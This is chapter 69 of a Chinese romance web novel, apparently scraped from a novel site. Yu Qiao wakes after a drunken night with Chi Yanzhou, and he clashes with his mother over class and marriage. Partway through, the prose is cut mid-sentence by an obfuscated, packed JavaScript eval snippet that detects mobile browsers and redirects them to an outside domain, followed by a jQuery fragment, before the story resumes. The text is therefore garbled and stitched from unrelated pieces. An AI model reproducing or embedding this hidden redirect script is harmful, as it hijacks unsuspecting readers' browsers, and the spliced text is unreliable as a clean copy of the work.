69.阶级
作品:《但夜莺不来》 于乔深吸一口气,决定和他较真到底:“那你为什么也不穿衣服?”
“是谁给我吐脏的,倒还好意思问起我来了。不信你自己去卫生间瞅瞅,犯罪现场还留着呢。”
池晏舟心里也烦,昨晚一整夜她又哭又闹,打他骂他,说他不是人,他都认了。把她扔进浴缸里去洗,她又抓着浴缸边缘吐得到处都是,整个浴室的地面惨不忍睹。他耗尽体力伺候了一整晚,没想到醒来就翻脸不认人。
他真想一走了之,但他早上才通知程诚送两套衣服过来,总不能穿着浴袍就出去。
于乔半信半疑,顺手裹了浴巾起身下床,但脚刚沾地,便痛得钻心。前几天她在老宅用鸟笼把窗户砸了,玻璃碎一地,她踩上去倒是刺伤了自己的脚。
伤口已去医院包扎过,不知是喝了酒还是昨晚没涂药的缘故,此刻又变得红肿。中间也不知何时被贴了个创可贴,胶已经不粘了,虚虚晃晃地盖在伤口处。
在床头柜上,放着一盒拆过的创可贴。
于乔掩住心中的异样,跛着脚往浴室里走,推门一看,整个人都呆住了。
浴室中一片狼藉,污秽物到处都是,用过的纸团散落一地。洗漱用品东倒西落,莲蓬喷头被扔在地上。最触目惊心的是胡乱堆在角落里的衣服,他们两人的衣服,上面残留着喷射状的呕吐物。
昨晚她喝断片儿,完全不记得发生了什么。她惊慌失措地关上门,无法想象这是自己的杰作,更无法想象昨晚他是怎么和她共处一室的。
但镜子里照见她的身上干干净净,低头还能闻到沐浴露的清香。
讲不清是什么感觉,只觉得脸上一阵阵好烫。心里搅作一团,一丝一丝抽着疼。
她没脸出去面对他,也没脸叫人来打扫,一个人蹲在浴室里,边哭边冲洗着地面。
她以为他们的故事已经惨烈收场了,也答应了冯老师的要求,但她没想到还会见面,甚至是在这样难堪的时刻。
喷头的水泻如柱,哗啦啦地自上而下落,像在下雨,汇集成地上小小的河流,冲刷着,模糊了视线。
于乔在里面呆许久,久到脚底伤口的边缘被泡得泛白,久到浴室被清洁得焕然如新。
中途也听到门外传来其他的声音,应是有人送东西来,然后又是脚步声,窸窸窣窣,开门关门。
等再没任何动静后,她才鼓足勇气出去。
而池晏舟竟然没走。
他已换好了衣服,轻飘飘地瞥她一眼,说:“过来。”
于乔站定没动,一副可怜样子,低垂着睫毛,好像犯了天大的错事。
他也不知道为什么总会觉得她可怜,其实她压根儿就不是什么善茬,还总是变着法子作恶折腾他。
但她的神情实在是太狼狈了,两只眼睛又那么肿,也不知道躲里面哭了多久。以至于他最终无奈地深叹一口气,说:“打算一直杵在那儿吗?脚不疼?”
天光已然大亮,透过窗帘映进来,亮得人眼发酸。
于乔已经痛到麻木,她想回答,喉咙却像是被堵住,也说不出话来。
她就这样出神地望着地面,也不知在想什么。池晏舟看不下去,只得过来把她牵回床边。
“我又没怪你。”他说。
可他一说,于乔的眼眶就红了。
他弯下腰,颇为稀罕地看着她,说:“前几天不是还那么凶,怎么又就哭成林黛玉了?”
于乔扭过头,不去看他。
但他却咂摸出点意味来,继续逗她:“被砸的是我家,被无缘无故分手的也是我,你还吐我一身,怎么说该哭的也是我吧?”
于乔吸了吸鼻子,说:“不是无缘无故。”
他嘁一声:“不是无缘无故是什么?你还真以为安妮怀的是我的孩子啊?”
他低头给她涂药,药水慎入皮肤的刺痛令她下意识地缩了缩脚,却被他一把抓住脚踝。
“别动。”他声音低沉,指腹边缘摩挲着,把动作也放轻了些,但嘴上还是不饶人,“现在知道痛了?”
于乔想,不是的,不是现在才知道会痛的。
空气里安静,只剩下棉签擦拭伤口的细微声响。但他也没做过这么细致的活儿,药水涂得乱七八糟,一不小心就戳痛了她的伤口。
于乔倒吸一口凉气,“你轻点!”
池晏舟瞟她一眼,跟刑讯逼供似的,故意用棉签去刮她的伤口,说:“你现在长本事了,都敢背着我悄悄出去。”
于乔很想回他一句,你管不着,但转念一想,他也不是全无资格。当初备考时,勤勤恳恳地给她复习,后来又帮着联系院长、导师,光是吃饭就吃过两次,若不是因为她的缘故,他怎么可能会屈尊来应酬一个小小的老师。
她垂下长长的睫毛,掩盖住眸底的黯然。
那次见到安妮后,她主动联系了冯老师,答应了她的要求——不再纠缠,与他彻底断干净。
一个人痛苦的根源大概是看透自己的软弱无能,却又无力改变。
当时她一声不吭坐在椅子上,接过了那封推荐信。冯老师甚至没有露面,直接让司机送来的。但似乎早就预料见她会接受,连推荐信的落款日期也是很早之前。
那一刹那,于乔突然觉得一切都像一场梦。读研、开店,甚至去了国外,她以为努力过就会有改变,但捏着推荐信的那一刻,她好像还是曾经那个站在火锅店里,看着妈妈鞠躬道歉的小女孩。
小时候的那一耳光像在此刻落回她的脸上,火辣辣的疼。
阶层固化,不止是物质层面。
所以池晏舟问,她也没有回答,因为一切都是枉然,她只觉得累。
她不知道的是,就在她走的时候,池晏舟还是知道了冯老师做的好事儿,回去闹了一番,和冯老师发生了前所未有的激烈争吵。
冯老师痛心疾首,说他寒了她的心,这么多年,为了一个安妮,他做了多少混账事。
她将他一阵数落,说他从小闯了多少祸,给他收拾了多少残局。又说安妮的事情闹得人尽皆知,还真以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622358|156329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为送她继父进去的证据真是伪造的?那不过是为了宽他的心,让他老实出国去。圈子就那么大,她家的丑事谁不知道,还用得着伪造?这样的人,他非要去沾染,池家丢不起这个人。
“你心里怨我我知道,不然也不会找那么多个跟她长得像的女孩子,隔三差五就在我跟前儿晃,故意恶心我。”冯老师气愤。
她这话并没说错,相识的人都知道,池晏舟找女朋友,从来都是一个模子刻出来的。要说多喜欢,其实也不见得,最主要的作用就是去气他妈。
这些年来,母子关系算得上恶劣。尤其是那年除夕,一大家子人正在守岁,他得知了安妮的消息,大半夜的就要飞到国外去,谁也劝不住。冯老师还曾放言要和他断绝关系。
但是毕竟血浓于水,还是一根独苗,也只能是放放狠话。在他被沈奕安牵连后,他爸还是迅速内退,以此换取放他一马的机会,冯老师也拖了不少关系。
没想到他居然一声不吭地回来了。
她明明记得小时候的儿子多有可爱,每天拉着她妈妈长妈妈短的喊她。也不知是哪里出了错,越长大越混账,后来连话也说不了两句,再后来像是阶级敌人一样了。
她说:“早知道这样,当初还不如不生你。”
池晏舟冷笑:“那你早该掐死我,也好过从来就不管,害我被骂是没妈的孩子。”
有些话不说憋屈,说出来又显得矫情。这么多年了,他都不曾说过,如今吐露出来,倒觉得轻松。
冯老师怔愣半晌,一瞬间像是苍老好多岁。过了许久,她才缓缓开口:“晏舟,爸爸妈妈一直都是为了你好。”
从前安妮是这样,如今于乔也是这样。
“找一个门当户对的,你会好过一些。”
池晏舟想说他又不在意,但是没有开口,因为这并不只是关于他一个人的事。
他也不是不懂,从他出生的时候,就注定了很多事情是身不由己。他又有什么资格去怨恨冯老师呢?
她也不过是一个可怜的母亲罢了。
只是北京今年的冬天好冷,大风吹得人快透不过气来。他走在风里,前方是灰扑扑的天和灰扑扑的路,鲜花败去,杨柳无色,从光秃秃的树枝中再也窥不见世界的本质。
那天他不知走了多久的路,最后走到一个巷口。
巷口种一棵大槐树,旁边开一间小卖部,门口装饰的圣诞树已经落满灰尘。店主是个三十多岁的女人,正使唤着老公换电灯泡。
女人用手撑着梯子,一边跟老公抱怨最近生意不好,早知道就不接这个店了,累死累活也赚不了两个钱。不过听说当初租给他们的那个老太太死了,以后租金也不知交给谁。
池晏舟走许久,手机早就没电了。他买一包烟,拿出钱夹打算付款时,动作停滞了。
原先于乔的那张照片不见了,换上的是另外一张——少女时期的安妮。
谁干的这事儿,自然是再明显不过。他觉得荒谬得可笑,但更多的是忍不住心伤。